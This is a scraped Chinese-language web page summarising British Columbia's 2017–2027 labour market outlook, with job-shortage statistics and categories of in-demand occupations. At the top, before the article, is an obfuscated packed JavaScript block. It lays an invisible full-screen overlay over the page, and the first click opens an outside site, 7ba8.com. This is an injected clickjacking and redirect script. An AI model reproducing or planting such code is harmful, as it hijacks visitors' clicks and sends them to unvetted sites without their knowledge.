<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>2017年11月，B.C.省公布了最新的劳动力市场前景报告，该报告提供了该省2017年到2027年这10年间急需工作岗位和技能的最新信息，向学生、父母和教育工作者提供了关于职业、教育和技能培训信息以引导职业选择；向雇主和企业主提供了长期规划。从这份报告中可以看到，B.C.省的人口正在发生改变， 8%的人口处在退休年纪；未来10年，70%的职位空缺源于那些因退休离开劳动力市场的人；在2017年到2027年之间，B.C.省将有91.7万个职位空缺，78%的未来工作岗位需要高等教育或培训。如下是根据报告列出的一些紧缺职位，仅供参考：紧缺管理类职位通常需要学士、硕士或第一级职业学位和/或大量的工作经验
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紧缺职位通常需要学士、硕士或第一级职业学位
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紧缺职位通常需要毕业证书、证书或学徒制培训
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紧缺职位通常需要高中和/或岗位培训
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紧缺医疗职位B.C.省卫生厅确定的优先医疗职位
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